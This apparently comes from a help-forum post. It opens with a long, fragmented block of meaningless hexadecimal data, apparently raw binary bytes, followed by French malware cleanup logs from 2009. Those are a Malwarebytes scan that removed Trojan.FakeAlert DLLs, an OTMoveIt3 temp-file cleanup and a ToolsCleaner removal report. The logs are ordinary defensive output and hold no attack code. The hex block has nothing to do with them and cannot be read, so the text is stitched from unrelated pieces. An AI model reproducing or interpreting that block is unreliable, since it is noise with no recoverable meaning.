26CF9B77CBFED542AC767FC0776EFAD0CC71BBF89A95EE36AE58DDF2EDFE2A371C6EDD50EF34DF30BAFCDFDDFD69A6162C6EDFFC54336CDDF3557693E5FEEFFB542B71F77FDAA770B163CCFA51E67DD6DB55F77CDFF8E8A2393FBCDF35170B16BCCF9B6B539640FB6A9AC9F2D48AD569DC92E2B6CDADBA9D17CF55564FBABFF01A915BFE04B4276405A2C178DD46F5FEF544B26D1D339E73479C3FB94591573D1DBFBD42B7F0EEA19BFF001DA384AE8764CE24EE48ADBE8DD8DDBBEED37FCEDA13EF548C7718FF006A9ADF3FDDA72AFF00F5E8E12800DBF37DDFF8150BF3FF00DF34EFE0F9A9BB71BB6D4A5729BB0DDBF77FF41A3FF41A387A6FDFA402D237F7A96919B67CD4D80D7EF4D56A36F1F2D1FF00A15003A994AD83F351BA8006EB4DDBF2FCD46EFEF7CBFECD379FEF6D6A4D5C63B77CBBB6FDDA6EEDF47DCA1DBE5FF6A96C507FBDF82FD2863FF7CB52D35BF8A840319BE5AF827F6C2F101D67C61716F149FBA83110F4F7AFBAB56BCFB169F753F68A32E5BE82BF35FE326A525FF8966959BCCDD2194FE3D0579D8D95A0A2776117BF7387B76FB3AC93EEFF0054BB557DEB174B6F2AE2FB5197EF246597FDF3C0ABDAC49F67D36DE06F9659BAFF008D431A04B3B74DBB55E4DECDFC5B107F5AF1B6F7BA1EBAD0874E84D95BB3BAEE76F98FD4D47636EF
'A96AD1B349F79B6EEFEEF724FD054CCDBFE5DDB7E532B7E029B6B746C34BBABC466DED88611FEDB75A893BABA5A1A4753B0F0B98B54F102DD4FF002E9DA747BC2FF7631C003DD8D77936B976ED23EEF3352BBF98B2F484370A07BEDAE17C33626C347B5B776DCD3309676DDB8B0EC2BD0B45D345846D3CFB7ED53746ECA87AD7156A9C8D456A7A5469F32D4E0758F0DCE937CD27EF55B6958FEE47ED59F0AFD97C949A366DDFC6BD735E98D6A2E2393F77B55BE6556EAA0563EB5E1D4BA85711FF000EEF75350A6E51BB3B951890E83A7CA8CAD67E56A56BB8335BF4917279AECB41D3C5D5DB4FA0DC7D9F54462AD6371D2403B1AF3FD3ED6EF45BC5758D9A256FE16C15FC6BD3345BAB0F14155BA658EFD7E68AF21FDDCCA47AAFF152536CC274F937D8EDB41B5D33C796375A4DFD8FD9E55529756132FCD19FEF27AAD7137DA2F88FF673D6A3D5B49B896F3C392C8126866E6092327EEB8FE03E8D5E91A4D8DC6AFE4FDA268AD7C4769FF1EB7EBC24E3FBADF5AF42D256CBC7FE15D4B49D46DD5655530DE58C8BFEAC91FF00A09AE987BDB6FF0081C1754EFD63D7FCCD2F01F8CB4FF11E8F0EAFA6C9E769D330496293930B9EB1B63B563EA4E9E17F1B58D93C8CB6774A65D36E197FD4BB7DE8B3E95E3BE03B19FF0067FF00898BA35E6A1E6786B5ACA79571F20EC1195BEEB11F74D7B978FBC327C51E1992CA26F2EF6D3FD22CAE17AA9C64AD6AE4EAC14BED2FE9993A6A954B5FDD97536B56BA92C24B5D5D17FE3DDBCABB45FE289B8DDF85694C63B5BE86F11BF7172BB5997F435C4FC35F172789B47F22F63DB756EBF64BC876F63C1ADEF0DB17B5BED0E7FF008F8B06D8ACDFC4839423FE035BD2A8A5692EBF99C7529B8369EEBF23A2B8628AAE9F751B6FE1597A943E55D6F5FB922EEFC6B4AD6412DAB2B7DEDBFCAAACD6FE6DBECFE25F9837B577C25AA68E192BA68C9DDDB75359A893E46FBB51B36F5AF453386C1B87FF005A9DB87FC057AD37EF32AFF7BF8A8E9FF02A043BCC1F77EB9FA537736EF97F1A8D7FBDBAA4FF0076926D9560DC68DDB0D37736EFBB437FDF2B4C63B9DDFF00C551BB77CBF4CD0D8DDFED7F7A9ACBF2EEFF00C768F201CADF336E6F9686FE2DB4D5CFCBBBEEFDD34EFF003B69DBA802E7EF7FC0B146EF9777E74DDDBFFE034DDDF37FBD54C09198EDDD4D662BF2FF000D1B827FF154DF7FBBB6801CCC70CB46E1B97F4A6FB6DA371F969A137624DC5DBFD9A76E28DBBF86A156D8DB87F153958EDABD10C996418FF6AA48E4FBCDFC5FDDAAEADFC5522B7CBFED7F7A95FA92D58B65C6179DBC74A378FEFD46ABB8671BBDE8F2FF00D8A7641767A6EEFE1A72E6A3E129CBFF008ED6ECE2B127DFA93EE1F97EF77A8D4FFE3D4B486B51FBB8F9686F928DE287FBB40D3B037F7A978A4FBFF79BE5A4A5B14D5C6D20CFF152D3198524EC01BFDE82C129ABFF008F50CDBE8601BB62D35BEEEDA1BE7DD432FF00F5A9006EFF00D0686FEF51C3AD37F859BFBB4FA0D2B87FF15CD0CDFDDA3F87FCEDA3FD9A0685A466DFB95BF0A0755A1BFBBF7BFDA5A9431BBB6527F0D2B7DCA6FF00B346C0737F122F0587827589FF008BC82A3F1E2BF35FC79325D7891915BF8B69FC2BF41BF680D4934DF86F79B9B699A4441F9E7FA57E73EBD7A3FB4AFAF25F9B629C2FD6BC6C7CAD2513D6C24746D9CAEA5325D6B1332FCAB0FC83EB579A32EBFEEA84FCFAD63E9F1979155BE67964FBDF4ADC9B296ECDF7579635E727CCAC8EF4AE66DD4BBED6E1957734D28863FF00678E6AD4D6A7CCD0F4E45F31EE1B795DBFDE38155D6DCBC5A7C1FDD53337D5B38FE75D9785F4B17FF1319B6EEB7D1ED0BB3FFB91FF008D6539F2BB1D34E299D269F66971E20922565F22D309FF007C8EF5D07DABED5234ABF753E50B5CEC7E65AE96A8DFF1F179279D2B77543D2B534F63F2AB7DDEF5C76BCAE7AD4D72EC741671F9B22EEFBEFD7774ABCDA6ABC9F37DE5E83E951E931A891777DE6F98D6F2C7FF008F516B6DB9D0A4D98371A4C0ECDBE3F95FAAD65DC68A74D6F3ED57EEFF0077AE3FA575925997FF0067FDAAAED6A628F6AFCC9FDD6ACE2ADD3A96F55A9ADF0EFC7D6D71791E97AEC9E5B4BF2417937553FDD6F515EBD75633E977D6FACDBAAB5FDB47B6558FA5EDB0EAA71C6E1FC35F34EB9A69857CFB5FC47F76BD9BE07FC45FED9D3D744BF655BDB76DD048DFC47B0FC6BAA2D4B47BF43CBC450705ED23B755E4741F163C07A77C50F0DFF672C8B1ADE446EF4CB95C130DC0192A2A6F81FE2AB9F13780634D515A3D6F4794E957C8DC15923E33F88AD3BFD365B7B5B8B2B2FDCADC3FDAEC4B75B6BA5F99E2FF0081561680D15978C6D7C4D651B4761E278BEC9A9A2F482EE3FBA587F78F4A22ED579BBFDDFD7F99CAFDEA36E8B6EFE9FD7621561E19F891F6A55F26D6F24FB25E26EE2363FEAD8FA66BBC9A4FECDF1869B78BBBC8BB80DBCADD99D0FCA7F115E53F1BA697C29AE69FAE27EF2DEE7115D45DB0A719FF00780AF46B59BFB73C1B6F7B136E96DE48EE14FB0FFEC4D442F19CA2BA6BFA30A89CA109BEBA1D82FF00A3DE327FCB27F9BF034D56D9232B7F0B6D14DF3CDC69F0DC7F7719A74D26F919B6FCACA1ABD94F44EE794E3BA3275087CA91AA9EF15A9A9297877FDEDBD6B2770DBF2B57A50778DCF3A7A487D2AE3F89A9BFC5FD68CECDCCDFC5568CDAB8D56E3E6FF7A84C6EFE547DFF00E2A0AECFE2A6863BEFD0DFF8F5376FDDFEF7F7A83FDDDDB97FBD4F7DC0737F0EDA6FDCF9BEEFF10A377CDF37FDF2B46ED9F79B77FB34BC8077DEFC3E6A186C6FF7BFF1DA6AB6C5F9BEF7DEA737FBBF7AA84DD86FDCF957EED1F71A85FF00C7A8FF007BF0A37430FBEDF37FBB4DDA7F87FDEDB4
'E6FF0067FDEA19B7FF00C07F8A856DC03EFAED6FBDBB75353FBADF768E76EEA3EE2D5F4D003AFE34E5C527F152EE3BB6EEFE1A7B8122FCFF002B7DEED522B7CBFF0002AAEAC36EEA99734EF7137626DDB78DF8F6A3CCFF00A6829D1AEF5CD3BCBA7A13A9E90ADBFEED0BF3D46AD522B10DFCAB66AC729638CFFB54B4CDFEF46FF7A403BFD9FEF53B7FFF00154DDD47FBBFEF50038B7DEA4A6FF152337CDF77E6A96EE50EDD51B36C6FEB4E66D8AB4D63F2ED6A7B80BFC549FECD37EE5399BFE034BA006E1FE14D6E7FDE5A377F77EF53770DB4801FAAD1CFF8D1F7E9AB8DBEF40D2B8EFBF4337CD4B4CFAD16B943BFBBFDDA6FF9CD39B0FF00D29BFE714AE014514DFE2DD4EF70576781FED71AA1B5F0DE976ABF76591DCAFF00BA00FEB5F03F8C2E3642C8ADF34CDBCFD057D7DFB616B5F68F1458D82C9F25B5A6E6FF0064B1CFF2AF8AFC55706EAF1B6B6E558F6FE66BC0C5C97B477E87BB858F2D34C769AA22584FF1AC6587D5AB4AEA309A7DC7F7B68FAF22B3ED728248B77CCAA8BF9F15A57DF25ADC7CDF75828AE3693DBA9D4B72E69B6BBF5C

Malwarebytes' Anti-Malware 1.36
Version de la base de données: 2155
Windows 5.1.2600 Service Pack 3

19/05/2009 21:31:33
mbam-log-2009-05-19 (21-31-33).txt

Type de recherche: Examen rapide
Eléments examinés: 109049
Temps écoulé: 4 minute(s), 45 second(s)

Processus mémoire infecté(s): 0
Module(s) mémoire infecté(s): 0
Clé(s) du Registre infectée(s): 0
Valeur(s) du Registre infectée(s): 3
Elément(s) de données du Registre infecté(s): 0
Dossier(s) infecté(s): 0
Fichier(s) infecté(s): 4

Processus mémoire infecté(s):
(Aucun élément nuisible détecté)

Module(s) mémoire infecté(s):
(Aucun élément nuisible détecté)

Clé(s) du Registre infectée(s):
(Aucun élément nuisible détecté)

Valeur(s) du Registre infectée(s):
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\system32\kticonv80_1.11.1.dll (Trojan.FakeAlert) -> Quarantined and deleted successfully.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\system32\ktlibeay80_0.9.8.2.dll (Trojan.FakeAlert) -> Quarantined and deleted successfully.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\system32\ktssleay80_0.9.8.2.dll (Trojan.FakeAlert) -> Quarantined and deleted successfully.

Elément(s) de données du Registre infecté(s):
(Aucun élément nuisible détecté)

Dossier(s) infecté(s):
(Aucun élément nuisible détecté)

Fichier(s) infecté(s):
C:\WINDOWS\system32\kticonv80_1.11.1.dll (Trojan.FakeAlert) -> Quarantined and deleted successfully.
C:\WINDOWS\system32\ktlibeay80_0.9.8.2.dll (Trojan.FakeAlert) -> Quarantined and deleted successfully.
C:\WINDOWS\system32\ktssleay80_0.9.8.2.dll (Trojan.FakeAlert) -> Quarantined and deleted successfully.
C:\WINDOWS\system32\ktzlib80_1.2.3.dll (Trojan.FakeAlert) -> Quarantined and deleted successfully.

========== PROCESSES ==========
Process explorer.exe killed successfully.
========== FILES ==========
C:\windows\system32\ABDEL.jpg moved successfully.
File/Folder F:\RECYCLER\S-1-5-21-1482476501-1644491937-682003330-1013\iuhi64.exe not found.
========== COMMANDS ==========
File delete failed. C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\hpodvd09.log scheduled to be deleted on reboot.
File delete failed. C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF391F.tmp scheduled to be deleted on reboot.
File delete failed. C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF3929.tmp scheduled to be deleted on reboot.
File delete failed. C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF39D7.tmp scheduled to be deleted on reboot.
File delete failed. C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF39E1.tmp scheduled to be deleted on reboot.
File delete failed. C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF3AE9.tmp scheduled to be deleted on reboot.
File delete failed. C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF3AF3.tmp scheduled to be deleted on reboot.
File delete failed. C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF42EE.tmp scheduled to be deleted on reboot.
User's Temp folder emptied.
User's Internet Explorer cache folder emptied.
File delete failed. C:\Documents and Settings\administrator\Local Settings\Temporary Internet Files\Content.IE5\QRYROWWT\ads[10].htm scheduled to be deleted on reboot.
File delete failed. C:\Documents and Settings\administrator\Local Settings\Temporary Internet Files\Content.IE5\QRYROWWT\ads[11].htm scheduled to be deleted on reboot.
File delete failed. C:\Documents and Settings\administrator\Local Settings\Temporary Internet Files\Content.IE5\QRYROWWT\ads[9].htm scheduled to be deleted on reboot.
File delete failed. C:\Documents and Settings\administrator\Local Settings\Temporary Internet Files\Content.IE5\QRYROWWT\affich-12521895-un-virus-denomme-abdel-vbs[2].htm scheduled to be deleted on reboot.
File delete failed. C:\Documents and Settings\administrator\Local Settings\Temporary Internet Files\Content.IE5\EKV0WE2Z\autopromo[1].htm scheduled to be deleted on reboot.
File delete failed. C:\Documents and Settings\administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat scheduled to be deleted on reboot.
File delete failed. C:\Documents and Settings\administrator\Local Settings\Temporary Internet Files\AntiPhishing\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat scheduled to be deleted on reboot.
User's Temporary Internet Files folder emptied.
Local Service Temp folder emptied.
File delete failed. C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\index.dat scheduled to be deleted on reboot.
Local Service Temporary Internet Files folder emptied.
Network Service Temp folder emptied.
File delete failed. C:\Documents and Settings\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\index.dat scheduled to be deleted on reboot.
Network Service Temporary Internet Files folder emptied.
File delete failed. C:\windows\temp\Perflib_Perfdata_504.dat scheduled to be deleted on reboot.
Windows Temp folder emptied.
Temp folders emptied.

OTMoveIt3 by OldTimer - Version 1.0.11.0 log created on 05192009_220205

Files moved on Reboot...
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\hpodvd09.log moved successfully.
File C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF391F.tmp not found!
File C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF3929.tmp not found!
File C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF39D7.tmp not found!
File C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF39E1.tmp not found!
File C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF3AE9.tmp not found!
File C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF3AF3.tmp not found!
File C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF42EE.tmp not found!
C:\Documents and Settings\administrator\Local Settings\Temporary Internet Files\Content.IE5\QRYROWWT\ads[10].htm moved successfully.
C:\Documents and Settings\administrator\Local Settings\Temporary Internet Files\Content.IE5\QRYROWWT\ads[11].htm moved successfully.
C:\Documents and Settings\administrator\Local Settings\Temporary Internet Files\Content.IE5\QRYROWWT\ads[9].htm moved successfully.
C:\Documents and Settings\administrator\Local Settings\Temporary Internet Files\Content.IE5\QRYROWWT\affich-12521895-un-virus-denomme-abdel-vbs[2].htm moved successfully.
C:\Documents and Settings\administrator\Local Settings\Temporary Internet Files\Content.IE5\EKV0WE2Z\autopromo[1].htm moved successfully.
C:\Documents and Settings\administrator\Local Settings\Temporary Internet Files\AntiPhishing\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat moved successfully.
File C:\windows\temp\Perflib_Perfdata_504.dat not found!

[ Rapport ToolsCleaner version 2.3.5 (par A.Rothstein & dj QUIOU) ]

--> Recherche:

C:\TB.txt: trouvé !
C:\UsbFix.txt: trouvé !
C:\_OtMoveIt: trouvé !
C:\Toolbar SD: trouvé !
C:\UsbFix: trouvé !
C:\Rsit: trouvé !
C:\Documents and Settings\administrator\Bureau\Ad-remover.lnk: trouvé !
C:\Documents and Settings\administrator\Bureau\ToolBarSD.exe: trouvé !
C:\Documents and Settings\administrator\Bureau\UsbFix.exe: trouvé !
C:\Documents and Settings\administrator\Bureau\OTMoveIt3.exe: trouvé !
C:\Documents and Settings\administrator\Menu Démarrer\Programmes\UsbFix: trouvé !
C:\Documents and Settings\administrator\Menu Démarrer\Programmes\Ad-remover: trouvé !
C:\Downloads\Software\Rsit.exe: trouvé !
C:\Program Files\Ad-remover: trouvé !
C:\Program Files\Ad-remover\BACKUP\Ad-R.exe: trouvé !
C:\Program Files\trend micro\HijackThis.exe: trouvé !
C:\Program Files\trend micro\hijackthis.log: trouvé !

---------------------------------
--> Suppression:

C:\Documents and Settings\administrator\Bureau\Ad-remover.lnk: supprimé !
C:\Documents and Settings\administrator\Bureau\ToolBarSD.exe: supprimé !
C:\Program Files\Ad-remover\BACKUP\Ad-R.exe: supprimé !
C:\Program Files\trend micro\HijackThis.exe: supprimé !
C:\TB.txt: supprimé !
C:\UsbFix.txt: supprimé !
C:\Documents and Settings\administrator\Bureau\UsbFix.exe: supprimé !
C:\Documents and Settings\administrator\Bureau\OTMoveIt3.exe: supprimé !
C:\Downloads\Software\Rsit.exe: supprimé !
C:\Program Files\trend micro\hijackthis.log: supprimé !
C:\_OtMoveIt: supprimé !
C:\Toolbar SD: supprimé !
C:\UsbFix: supprimé !
C:\Rsit: supprimé !
C:\Documents and Settings\administrator\Menu Démarrer\Programmes\UsbFix: supprimé !
C:\Documents and Settings\administrator\Menu Démarrer\Programmes\Ad-remover: supprimé !
C:\Program Files\Ad-remover: supprimé !